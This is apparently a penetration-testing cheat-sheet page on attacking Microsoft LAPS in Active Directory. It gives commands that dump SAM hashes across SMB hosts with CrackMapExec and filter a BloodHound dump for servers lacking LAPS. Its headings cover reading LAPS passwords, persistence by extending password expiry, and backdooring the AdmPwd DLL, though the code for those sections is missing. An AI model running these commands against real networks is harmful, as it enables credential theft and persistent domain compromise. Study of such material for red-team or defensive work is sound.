LAPS

Local Administrator Password Solution

Enabled?

Check locally:

PS > gc "c:\program files\LAPS\CSE\Admpwd.dll"
PS > Get-FileHash "c:\program files\LAPS\CSE\Admpwd.dll"
PS > Get-AuthenticodeSignature "c:\program files\LAPS\CSE\Admpwd.dll"

Check in LDAP:

PV3 > Get-DomainObject "CN=ms-Mcs-AdmPwd,CN=Schema,CN=Configuration,DC=megacorp,DC=local"
PV3 > Get-DomainObject "CN=ms-Mcs-AdmPwdExpirationTime,CN=Schema,CN=Configuration,DC=megacorp,DC=local"

Extract SAM with CME and compare admins' hashes:

$ for ip in `cat smb.txt`; do cme smb $ip -u snovvcrash -p 'Passw0rd!' --sam 2>/dev/null | grep -av '(' | grep -ai -e admin -e админ; sleep 1; done

Grab from BloodHound dump:

$ cat 19700101000000_computers | jq '.data[].Properties | select(.enabled == true and .haslaps == false and .operatingsystem != null) | select(.distinguishedname | contains("Servers")) | select(.operatingsystem | contains("Windows")) | .name' -r > nolaps_servers.txt

Get Passwords

PowerShell

ActiveDirectory

Query LDAP for AD computer objects with their passwords and its expiration date:

Check the name of enabled local administrators on a remote machine:

Change LAPS password (just zero the expiration time attribute):

Get-LAPSPasswords

LAPSToolkit

Enumerate LAPS groups and permissions:

Get passwords:

CrackMapExec

LAPSDumper

Persistence

Increase the expiration time of a compromised computer object's ms-mcs-admpwdexpirationtime property value:

Backdoor

Recompile admpwd having added some evil code here:

Replace the original AdmPwd.PS.dll assembly with a newly generated one and fix the timestamp:

Last updated